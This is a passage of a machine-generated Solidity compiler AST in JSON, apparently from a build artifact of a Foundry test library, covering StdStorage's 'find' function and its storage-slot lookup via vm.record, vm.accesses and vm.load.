","nodeType":"VariableDeclaration","scope":7772,"src":"3173:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7723,"name":"uint256","nodeType":"ElementaryTypeName","src":"3173:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3157:24:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7787,"nodeType":"FunctionDefinition","src":"3620:115:8","nodes":[],"body":{"id":7786,"nodeType":"Block","src":"3695:40:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":7782,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7775,"src":"3717:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":7783,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3723:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":7781,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"3712:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":7784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3712:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"functionReturnParameters":7780,"id":7785,"nodeType":"Return","src":"3705:23:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"3629:4:8","parameters":{"id":7776,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7775,"mutability":"mutable","name":"self","nameLocation":"3653:4:8","nodeType":"VariableDeclaration","scope":7787,"src":"3634:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7774,"nodeType":"UserDefinedTypeName","pathNode":{"id":7773,"name":"StdStorage","nameLocations":["3634:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"3634:10:8"},"referencedDeclaration":7427,"src":"3634:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"3633:25:8"},"returnParameters":{"id":7780,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7779,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7787,"src":"3677:16:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":7778,"nodeType":"UserDefinedTypeName","pathNode":{"id":7777,"name":"FindData","nameLocations":["3677:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"3677:8:8"},"referencedDeclaration":7402,"src":"3677:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}},"visibility":"internal"}],"src":"3676:18:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8090,"nodeType":"FunctionDefinition","src":"4249:2493:8","nodes":[],"body":{"id":8089,"nodeType":"Block","src":"4337:2405:8","nodes":[],"statements":[{"assignments":[7800],"declarations":[{"constant":false,"id":7800,"mutability":"mutable","name":"who","nameLocation":"4355:3:8","nodeType":"VariableDeclaration","scope":8089,"src":"4347:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7799,"name":"address","nodeType":"ElementaryTypeName","src":"4347:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":7803,"initialValue":{"expression":{"id":7801,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4361:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7802,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4366:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"4361:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"4347:26:8"},{"assignments":[7805],"declarations":[{"constant":false,"id":7805,"mutability":"mutable","name":"fsig","nameLocation":"4390:4:8","nodeType":"VariableDeclaration","scope":8089,"src":"4383:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7804,"name":"bytes4","nodeType":"ElementaryTypeName","src":"4383:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"id":7808,"initialValue":{"expression":{"id":7806,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4397:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7807,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4402:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"4397:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"VariableDeclarationStatement","src":"4383:23:8"},{"assignments":[7810],"declarations":[{"constant":false,"id":7810,"mutability":"mutable","name":"field_depth","nameLocation":"4424:11:8","nodeType":"VariableDeclaration","scope":8089,"src":"4416:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7809,"name":"uint256","nodeType":"ElementaryTypeName","src":"4416:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7813,"initialValue":{"expression":{"id":7811,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4438:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7812,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4443:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"4438:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4416:33:8"},{"assignments":[7815],"declarations":[{"constant":false,"id":7815,"mutability":"mutable","name":"params","nameLocation":"4472:6:8","nodeType":"VariableDeclaration","scope":8089,"src":"4459:19:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7814,"name":"bytes","nodeType":"ElementaryTypeName","src":"4459:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":7819,"initialValue":{"arguments":[{"id":7817,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4495:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7816,"name":"getCallParams","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7506,"src":"4481:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) view returns (bytes memory)"}},"id":7818,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4481:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"4459:41:8"},{"condition":{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":7820,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4551:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7821,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4556:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"4551:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":7823,"indexExpression":{"id":7822,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"4562:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4551:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":7825,"indexExpression":{"id":7824,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"4567:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4551:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":7833,"indexExpression":{"arguments":[{"arguments":[{"id":7829,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"4600:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":7830,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"4608:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":7827,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4583:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":7828,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4587:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"4583:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":7831,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4583:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":7826,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4573:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4573:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4551:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":7834,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4623:5:8","memberName":"found","nodeType":"MemberAccess","referencedDeclaration":7401,"src":"4551:77:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7858,"nodeType":"IfStatement","src":"4547:255:8","trueBody":{"id":7857,"nodeType":"Block","src":"4630:172:8","statements":[{"condition":{"id":7835,"name":"_clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7793,"src":"4648:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7841,"nodeType":"IfStatement","src":"4644:56:8","trueBody":{"id":7840,"nodeType":"Block","src":"4656:44:8","statements":[{"expression":{"arguments":[{"id":7837,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4680:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7836,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8735,"src":"4674:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":7838,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4674:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7839,"nodeType":"ExpressionStatement","src":"4674:11:8"}]}},{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":7842,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4720:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7843,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4725:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"4720:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":7845,"indexExpression":{"id":7844,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"4731:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4720:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":7847,"indexExpression":{"id":7846,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"4736:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4720:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":7855,"indexExpression":{"arguments":[{"arguments":[{"id":7851,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"4769:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":7852,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"4777:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":7849,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4752:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":7850,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4756:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"4752:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":7853,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4752:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":7848,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4742:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7854,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4742:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4720:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"functionReturnParameters":7798,"id":7856,"nodeType":"Return","src":"4713:78:8"}]}},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":7859,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"4811:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7861,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4814:6:8","memberName":"record","nodeType":"MemberAccess","referencedDeclaration":12613,"src":"4811:9:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":7862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4811:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7863,"nodeType":"ExpressionStatement","src":"4811:11:8"},{"assignments":[null,7865],"declarations":[null,{"constant":false,"id":7865,"mutability":"mutable","name":"callResult","nameLocation":"4843:10:8","nodeType":"VariableDeclaration","scope":8089,"src":"4835:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7864,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4835:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7869,"initialValue":{"arguments":[{"id":7867,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4868:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7866,"name":"callTarget","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7552,"src":"4857:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":7868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4857:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"4832:41:8"},{"assignments":[7874,null],"declarations":[{"constant":false,"id":7874,"mutability":"mutable","name":"reads","nameLocation":"4901:5:8","nodeType":"VariableDeclaration","scope":8089,"src":"4884:22:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":7872,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4884:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":7873,"nodeType":"ArrayTypeName","src":"4884:9:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},null],"id":7882,"initialValue":{"arguments":[{"arguments":[{"id":7879,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"4931:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":7878,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4923:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":7877,"name":"address","nodeType":"ElementaryTypeName","src":"4923:7:8","typeDescriptions":{}}},"id":7880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4923:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":7875,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"4911:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7876,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4914:8:8","memberName":"accesses","nodeType":"MemberAccess","referencedDeclaration":12506,"src":"4911:11:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$_t_array$_t_bytes32_$dyn_memory_ptr_$_t_array$_t_bytes32_$dyn_memory_ptr_$","typeString":"function (address) external returns (bytes32[] memory,bytes32[] memory)"}},"id":7881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4911:25:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_array$_t_bytes32_$dyn_memory_ptr_$_t_array$_t_bytes32_$dyn_memory_ptr_$","typeString":"tuple(bytes32[] memory,bytes32[] memory)"}},"nodeType":"VariableDeclarationStatement","src":"4883:53:8"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":7886,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":7883,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"4951:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7884,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4957:6:8","memberName":"length","nodeType":"MemberAccess","src":"4951:12:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":7885,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4967:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"4951:17:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":8046,"nodeType":"Block","src":"5075:1333:8","statements":[{"body":{"id":8044,"nodeType":"Block","src":"5132:1266:8","statements":[{"assignments":[7904],"declarations":[{"constant":false,"id":7904,"mutability":"mutable","name":"prev","nameLocation":"5158:4:8","nodeType":"VariableDeclaration","scope":8044,"src":"5150:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7903,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5150:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7912,"initialValue":{"arguments":[{"id":7907,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"5173:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"baseExpression":{"id":7908,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5178:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":7910,"indexExpression":{"id":7909,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7893,"src":"5184:1:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"5178:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7905,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"5165:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7906,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5168:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"5165:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":7911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5165:22:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"5150:37:8"},{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":7918,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7913,"name":"prev","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7904,"src":"5209:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":7916,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5225:1:8","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":7915,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5217:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":7914,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5217:7:8","typeDescriptions":{}}},"id":7917,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5217:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"5209:18:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7930,"nodeType":"IfStatement","src":"5205:114:8","trueBody":{"id":7929,"nodeType":"Block","src":"5229:90:8","statements":[{"eventCall":{"arguments":[{"id":7920,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"5277:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"baseExpression":{"id":7923,"name":"reads","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7874,"src":"5290:5:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] 